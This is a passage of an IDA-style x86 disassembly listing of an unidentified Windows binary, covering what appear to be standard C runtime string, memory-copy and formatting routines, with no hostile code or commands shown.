eax jbe short loc_41BD99 loc_41BD72: ; CODE XREF: sub_41BBBD+197j ; sub_41BBBD+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DB2A8, 22h jz short loc_41BD88 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj ; sub_41BBBD+19Cj ... test edx, edx jz short loc_41BDA2 mov eax, [ebp+var_4] mov [edx], eax loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41BDB0 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j mov eax, [ebp+var_8] jmp short loc_41BDC0 ; --------------------------------------------------------------------------- loc_41BDB5: ; CODE XREF: sub_41BBBD+66j ; sub_41BBBD+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41BDBE mov [eax], edi loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj xor eax, eax loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j pop edi pop esi pop ebx leave retn sub_41BBBD endp ; =============== S U B R O U T I N E ======================================= sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CEp ; sub_401ACD+6A0Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BDC5 endp ; =============== S U B R O U T I N E ======================================= sub_41BDDC proc near ; CODE XREF: sub_401ACD+5980p arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 268019Bh test eax, eax jnz short loc_41BDF2 nop call near ptr 2680930h jmp short loc_41BDF4 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj xor eax, eax loc_41BDF4: ; CODE XREF: sub_41BDDC+14j test eax, eax jz short loc_41BE03 push eax call sub_4203DF pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj xor eax, eax retn sub_41BDDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D2p ; ___:00411CA1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420446 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F69F push [ebp+arg_0] mov edi, eax push esi call sub_4204D3 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41BE06 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E81p ; sub_401ACD+1EA0p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41BE61 xor eax, eax jmp short loc_41BE63 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BE40+1Bj mov eax, edi loc_41BE63: ; CODE XREF: sub_41BE40+1Fj cld pop edi leave retn sub_41BE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p ; ___:0041DD1Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41BEA1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41BE9F jz short loc_41BEA1 dec ecx dec ecx loc_41BE9F: ; CODE XREF: sub_41BE70+29j not ecx loc_41BEA1: ; CODE XREF: sub_41BE70+9j ; sub_41BE70+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41BE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp ; sub_401ACD+2FFCp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41BF21 sub_41BEB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p ; sub_401ACD+75FEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41BEDC loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41BF0F test ecx, 3 jnz short loc_41BECD loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj ; sub_41BEC0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41BEDC mov eax, [ecx-4] test al, al jz short loc_41BF1E test ah, ah jz short loc_41BF19 test eax, 0FF0000h jz short loc_41BF14 test eax, 0FF000000h jz short loc_41BF0F jmp short loc_41BEDC ; --------------------------------------------------------------------------- loc_41BF0F: ; CODE XREF: sub_41BEC0+12j ; sub_41BEC0+4Bj lea edi, [ecx-1] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF14: ; CODE XREF: sub_41BEC0+44j lea edi, [ecx-2] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj lea edi, [ecx-3] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF1E: ; CODE XREF: sub_41BEC0+39j lea edi, [ecx-4] loc_41BF21: ; CODE XREF: sub_41BEB0+5j ; sub_41BEC0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41BF46 loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41BF98 mov [edi], dl inc edi test ecx, 3 jnz short loc_41BF2D jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej ; sub_41BEC0+B8j mov [edi], edx add edi, 4 loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj ; sub_41BEC0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41BF41 test dl, dl jz short loc_41BF98 test dh, dh jz short loc_41BF8F test edx, 0FF0000h jz short loc_41BF82 test edx, 0FF000000h jz short loc_41BF7A jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF82: ; CODE XREF: sub_41BEC0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF98: ; CODE XREF: sub_41BEC0+72j ; sub_41BEC0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41BEC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BFB0 loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41BFB0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p ; sub_401ACD+4C3p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41BFB6: ; CODE XREF: sub_41B900+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41BFDB loc_41BFC8: ; CODE XREF: sub_41BFB0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41BFA0 test cl, cl jz short loc_41C024 test edx, 3 jnz short loc_41BFC8 loc_41BFDB: ; CODE XREF: sub_41BFB0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41BFE6: ; CODE XREF: sub_41BFB0+61j ; sub_41BFB0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C028 and eax, 81010100h jz short loc_41BFE6 and eax, 1010100h jnz short loc_41C022 and esi, 80000000h jnz short loc_41BFE6 loc_41C022: ; CODE XREF: sub_41BFB0+68j ; sub_41BFB0+81j ... pop esi pop edi loc_41C024: ; CODE XREF: sub_41BFB0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C028: ; CODE XREF: sub_41BFB0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C065 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C05E test ah, ah jz short loc_41C022 shr eax, 10h cmp al, bl jz short loc_41C057 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C050 test ah, ah jz short loc_41C022 jmp short loc_41BFE6 ; --------------------------------------------------------------------------- loc_41C050: ; CODE XREF: sub_41BFB0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C057: ; CODE XREF: sub_41BFB0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C05E: ; CODE XREF: sub_41BFB0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C065: ; CODE XREF: sub_41BFB0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41BFB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C0BC loc_41C080: ; CODE XREF: sub_41C070+3Cj ; sub_41C070+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+3] jnz short loc_41C0B4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C080 mov edi, edi loc_41C0B0: ; CODE XREF: sub_41C070+18j ; sub_41C070+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0B4: ; CODE XREF: sub_41C070+14j ; sub_41C070+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0BC: ; CODE XREF: sub_41C070+Ej test edx, 1 jz short loc_41C0D8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C0B4 inc ecx or al, al jz short loc_41C0B0 test edx, 2 jz short loc_41C080 loc_41C0D8: ; CODE XREF: sub_41C070+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 add ecx, 2 jmp short loc_41C080 sub_41C070 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C10D: ; CODE XREF: sub_41C0F4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C10D mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C135 mov edx, dword_4DB2F4 loc_41C135: ; CODE XREF: sub_41C0F4+39j ; sub_41C0F4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C155 test al, al jz short loc_41C155 inc edx jmp short loc_41C135 ; --------------------------------------------------------------------------- loc_41C155: ; CODE XREF: sub_41C0F4+58j ; sub_41C0F4+5Cj mov ebx, edx loc_41C157: ; CODE XREF: sub_41C0F4+81j mov al, [edx] test al, al jz short loc_41C17B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C177 inc edx jmp short loc_41C157 ; --------------------------------------------------------------------------- loc_41C177: ; CODE XREF: sub_41C0F4+7Ej and byte ptr [edx], 0 inc edx loc_41C17B: ; CODE XREF: sub_41C0F4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DB2F4, edx and eax, ebx pop ebx leave retn sub_41C0F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C190 proc near ; CODE XREF: sub_409A2C+1Cp ; sub_415220+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C1CE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C1DB ; --------------------------------------------------------------------------- loc_41C1CE: ; CODE XREF: sub_41C190+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41C1DB: ; CODE XREF: sub_41C190+3Cj mov eax, esi pop esi leave retn sub_41C190 endp ; =============== S U B R O U T I N E ======================================= sub_41C1E0 proc near ; CODE XREF: sub_40AFEA+88p ; sub_40B64A+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C294 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C20A loc_41C1FB: ; CODE XREF: sub_41C1E0+28j mov al, [edi] inc edi test al, al jz short loc_41C23B test edi, 3 jnz short loc_41C1FB loc_41C20A: ; CODE XREF: sub_41C1E0+19j ; sub_41C1E0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C20A mov eax, [edi-4] test al, al jz short loc_41C248 test ah, ah jz short loc_41C243 test eax, 0FF0000h jz short loc_41C23E test eax, 0FF000000h jnz short loc_41C20A loc_41C23B: ; CODE XREF: sub_41C1E0+20j dec edi jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C23E: ; CODE XREF: sub_41C1E0+52j sub edi, 2 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C243: ; CODE XREF: sub_41C1E0+4Bj sub edi, 3 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C248: ; CODE XREF: sub_41C1E0+47j sub edi, 4 loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj ; sub_41C1E0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC jmp short loc_41C27C ; --------------------------------------------------------------------------- loc_41C260: ; CODE XREF: sub_41C1E0+75j ; sub_41C1E0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41C29A mov [edi], dl inc edi dec ecx jz short loc_41C290 test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej ; sub_41C1E0+CAj mov ecx, ebx and ecx, 3 jz short loc_41C290 loc_41C283: ; CODE XREF: sub_41C1E0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41C292 dec ecx jnz short loc_41C283 loc_41C290: ; CODE XREF: sub_41C1E0+8Bj ; sub_41C1E0+A1j mov [edi], cl loc_41C292: ; CODE XREF: sub_41C1E0+ABj pop ebx pop esi loc_41C294: ; CODE XREF: sub_41C1E0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C29A: ; CODE XREF: sub_41C1E0+85j ; sub_41C1E0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j ; sub_41C1E0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C27C loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj ; sub_41C1E0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C2A4 test dl, dl jz short loc_41C29A test dh, dh jz short loc_41C2F8 test edx, 0FF0000h jz short loc_41C2E8 test edx, 0FF000000h jnz short loc_41C2A4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C1E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C310 proc near ; CODE XREF: sub_40BFA3+15p ; sub_40BFA3+3Bp ... var_3A3BFFC0 = byte ptr -3A3BFFC0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41C330 cmp edi, eax jb loc_41C4A8 loc_41C330: ; CODE XREF: sub_41C310+16j test edi, 3 jnz short loc_41C34C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- loc_41C34C: ; CODE XREF: sub_41C310+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41C364 and eax, 3 add ecx, eax jmp dword ptr loc_41C36C+4[eax*4] ; --------------------------------------------------------------------------- loc_41C364: ; CODE XREF: sub_41C310+46j jmp dword ptr loc_41C468[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C36C: ; CODE XREF: sub_41C310+31j ; sub_41C310+8Ej ... jmp off_41C3EC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41C380 ; --------------------------------------------------------------------------- lodsb retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- loc_41C380: ; DATA XREF: sub_41C310+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr dd offset loc_41C43C dd offset loc_41C434 dd offset loc_41C42C dd offset loc_41C424 dd offset loc_41C41C dd offset loc_41C414 dd offset loc_41C40C ; --------------------------------------------------------------------------- loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310:off_41C3ECo jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r ; sub_41C310+92r ... dd offset loc_41C470 dd offset loc_41C47C dd offset loc_41C490 ; --------------------------------------------------------------------------- loc_41C468: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C470: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C47C: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C490: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C4A8: ; CODE XREF: sub_41C310+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41C4DC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C4D0: ; CODE XREF: sub_41C310+1B1j ; sub_41C310+208j ... neg ecx jmp dword ptr loc_41C59F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C4DC: ; CODE XREF: sub_41C310+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41C4F4 and eax, 3 sub ecx, eax jmp dword ptr loc_41C4F4+4[eax*4] ; --------------------------------------------------------------------------- loc_41C4F4: ; CODE XREF: sub_41C310+1D6j ; DATA XREF: sub_41C310+1DDr jmp off_41C5F0[ecx*4] ; --------------------------------------------------------------------------- align 4 or ch, al inc ecx add [eax], ch lds eax, [ecx+0] push eax lds eax, [ecx+0] mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 movsb lds eax, [ecx+0] lodsb lds eax, [ecx+0] mov ah, 0C5h inc ecx add [ebp+eax*8-3A3BFFBFh], bh inc ecx add ah, cl lds eax, [ecx+0] aam 0C5h inc ecx loc_41C59F: ; DATA XREF: sub_41C310+1C2r add bh, ah lds eax, [ecx+0] mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C5E7: ; CODE XREF: sub_41C310+1C2j jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r ; sub_41C310:loc_41C4F4r ... dd offset loc_41C608 dd offset loc_41C618 dd offset loc_41C62C ; --------------------------------------------------------------------------- loc_41C600: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C608: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C618: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C62C: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41C310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_40BFEB+40p ; ___:0040E29Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41AFE0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420510 add esp, 10h leave retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C679(double) sub_41C679 proc near ; CODE XREF: sub_40D030+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A2C0 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C6FF call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C6E2 cmp eax, 2 jle short loc_41C6D4 cmp eax, 3 jnz short loc_41C6E2 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_420FC1 add esp, 10h jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6D4: ; CODE XREF: sub_41C679+3Fj push esi push ebx call sub_4217E9 fld 